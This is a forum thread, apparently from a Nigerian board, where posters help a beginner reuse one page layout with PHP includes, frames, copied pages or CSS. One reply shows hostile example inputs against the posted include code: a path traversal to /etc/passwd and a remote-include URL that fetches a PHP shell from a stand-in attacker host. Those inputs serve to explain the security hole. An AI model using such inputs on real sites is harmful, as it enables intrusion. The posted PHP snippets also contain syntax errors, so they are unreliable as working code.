HEllo house,
I have a problem with my website,
I finished designing my layout(indexpage), all i want to do is if i click on another page, lets say contact us;
i want it to still appear with the layout design of the index page.
That is when i click a page, i want it to load with the same layout design i use in the index page.
I don't want to rewrite the code twice.

This is where you can make use of php includes.

Let me break it down as simple as I possibly can, under this hot sun.

<div id="container">

    <div id="header"></div>
   
    <div id="navigation_bar">
<ul>
<li><a href="?page=home">Home</a></li>
<li><a href="?page=contact">Contact</a></li>
<li><a href="?page=services">Services</a></li>
<ul>
    </div>
   
    <div id="content">
    <?php
        //if the get request carries "home" as value
       if($_GET['page']=="home"{
            include('pages/home.php');
        }

        //if the get request carries "contact" as value
       elseif($_GET['page']=="contact"{
            include('pages/contact.php');
        }

       //if the get request carries "services" as value
       elseif($_GET['page']=="services"{
            include('pages/services.php');
        }

        //if there is not get page request, that means the url was just typed then it should be the homepage that should display. by default this will be the page to be displayed
        else{
            include('pages/home.php');
        }

    ?>
    </div>

</div>


The above will work based on the following assupmtions.
1. the files contact.php, home.php and services.php are in a child directory of the index page called "pages"
2. You have put all the dynamic content of the home page in home.php
3. You have put all the dynamic content for the contact page in contact.php
4. You have put all the dynamic content for the services page in services.php
4. You have a fair knowledge of PHP
5. You run your project on a local web server. Personally I use WAMP.


In place of the if/else collabo, you can use the switch/case collabo also.

dual, i sent u a mail now, pls respond, thx

@dual core
I dont have knowledge of php.

@Poster,

Rather go with frameset. You create a top frame and include the body throughout your webpage.

afrobaby:

dual, i sent u a mail now, pls respond, thx

I have replied.

P.S for donpuzo and *dhtml: Just so there's no confusion, its what you are thinking! Yeap acceptance to a steaming hot date. Now is the time to cry boys!

i-Guru:

@dual core
I dont have knowledge of php.

Won't hurt to learn it
Try Nitation's suggestion above.

dual core, dual core, dual core, ow many times did I call u, am waiting on ymessenger for u o, lol

afrobaby:

dual core, dual core, dual core, ow many times did I call u, am waiting on ymessenger bed for u o, lol

She's so dangerous, I cant shout.
If I dont make it back here in 24 hours, una know who to hold.


Slyr0x pls reply my reply to your mail. lol

@dual core, pls which ebook do you recommend for PHP learning, and can i get a download link, plsssss,
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Dual Core:

This is where you can make use of php includes.

Let me break it down as simple as I possibly can, under this hot sun.

<div id="container">

    <div id="header"></div>
   
    <div id="navigation_bar">
<ul>
<li><a href="?page=home">Home</a></li>
<li><a href="?page=contact">Contact</a></li>
<li><a href="?page=services">Services</a></li>
<ul>
    </div>
   
    <div id="content">
    <?php
        //if the get request carries "home" as value
       if($_GET['page']=="home"{
            include('pages/home.php');
        }

        //if the get request carries "contact" as value
       elseif($_GET['page']=="contact"{
            include('pages/contact.php');
        }

       //if the get request carries "services" as value
       elseif($_GET['page']=="services"{
            include('pages/services.php');
        }

        //if there is not get page request, that means the url was just typed then it should be the homepage that should display. by default this will be the page to be displayed
        else{
            include('pages/home.php');
        }

    ?>
    </div>

</div>


The above will work based on the following assupmtions.
1. the files contact.php, home.php and services.php are in a child directory of the index page called "pages"
2. You have put all the dynamic content of the home page in home.php
3. You have put all the dynamic content for the contact page in contact.php
4. You have put all the dynamic content for the services page in services.php
4. You have a fair knowledge of PHP
5. You run your project on a local web server. Personally I use WAMP.


In place of the if/else collabo, you can use the switch/case collabo also.

The downside of this code is that search engines will only be able to see the index page. Which is not good for SEO.

THe code from reply #1 isn't advised from a security perspective. Why not just use regular, say, 5-page layout?

yawa-ti-de:

THe code from reply #1 isn't advised from a security perspective.  Why not just use regular, say, 5-page layout?

+1. Especially if iTell it to include

GET ?page=. . ./. . ./. . ./. . ./ . . ./etc/passwd

OR

GET ?page=http://evilhacker.com/phpShell.txt%00

Best way to do that is

$action = array('home', 'contact', 'services');
$page = $_GET['page'];
if (! in_array($page, $action) $page = 'error';
include($page . "php";

This will prohibit the application from including any page other than home.php, contact.php, services.php and error.php.

[size=4pt]Runs out before DC sees me.  [/size]

I don't seem to get how my method is a security risk.

slyr0x, dont run! come back here!!

LoL, Bro I need you to try breaking saharabet.com with the above methods (and no, I am not turning down my firewall this time )

Is it only my connection? I think saharabet.com is down.

Please help

is running now. Thanks

i-Guru:

HEllo house,
I have a problem with my website,
I finished designing my layout(indexpage), all i want to do is if i click on another page, lets say contact us;
i want it to still appear with the layout design of the index page.
That is when i click a page, i want it to load with the same layout design i use in the index page.
I don't want to rewrite the code twice.

This people will just break ur head with complex PHP thangs, better do iframe or if you cant, then turn to a dummy style, SAVE YOUR INDEX PAGE AS about.html.
once you are done workin on about, save and then save as the next page.html

But using includes wulda been realy best for u cos of updating.

safe.

Why is everyone refusing to tell the lad to use css to cascade all files with one design, then include the cssFileName.css to all his pages.

because sooner or later, we knew you would tell the OP to do just that

@postere

This guys are advicing u from the angle of web development and programming and that may confuse u and slow down ur learning process.

Forget PHP for the now and focus on mastering page layout using HTML, CSS and authoring tools such as Microsoft frontpage or Dreamweaver.

Those PHP stuffs are for application development not web site design. The stage u are now from look of things is for you to master web design, graphics and layout design and then move to PHP development.


My advice

Since u have created an index page that carries the kind of layout u want, why don resave the index page to let say about.html and edit the elements in it to suit an about page.

You may want to do so for other pages.

My best regards

master-e:

@postere




My advice

Since u have created an index page that carries the kind of layout u want, why don resave the index page to let say about.html and edit the elements in it to suit an about page.

You may want to do so for other pages.

My best regards

Ehen? oncurr, repetee
i tot i mentioned something like this already.

bug24:


Ehen? oncurr, repetee
i tot i mentioned something like this already.

You did, as a web developer! So it didnt count. hehehehe

master-e:

@postere

This guys are advicing u from the angle of web development and programming and that may confuse u and slow down your learning process.

Forget PHP for the now and focus on mastering page layout using HTML, CSS and authoring tools such as Microsoft frontpage or Dreamweaver.

Those PHP stuffs are for application development not web site design. The stage u are now from look of things is for you to master web design, graphics and layout design and then move to PHP development.


My advice

Since u have created an index page that carries the kind of layout u want, why don resave the index page to let say about.html and edit the elements in it to suit an about page.

You may want to do so for other pages.

My best regards

I'm sorry if I caused any confusion. I totally forgot to take his background into consideration.

Let me talk from a designer's point of view and in adition to the posts above.

Seperate layout (css) from content (html).

Everything that has to do with the looks, color, position, spacing e.t.c should be done in CSS (try to use a single external stylesheet).
Let HTML do the presentation of content. For "global" parts of your site, be sure to put their CSS in the single stylesheet. By "global" I mean the part that is consistent across your entire design.

Start with drawing up your entire layout to at least 80% completion before adding any textual/graphical content anywhere in the containers that change across pages. Once done, duplicate the file and call it your "template.html". Now get to work and duplicate the template for every page needed.

I see this as the most effective non-web dev approach to this as it wont be too difficult to make a common change across all the pages of a site. God be with you if you have 100 pages and you dont follow this approach.

DC, i know u posted on this thread but ur enemy (BoT) has eaten it up. lol

no mind the thing and him papa.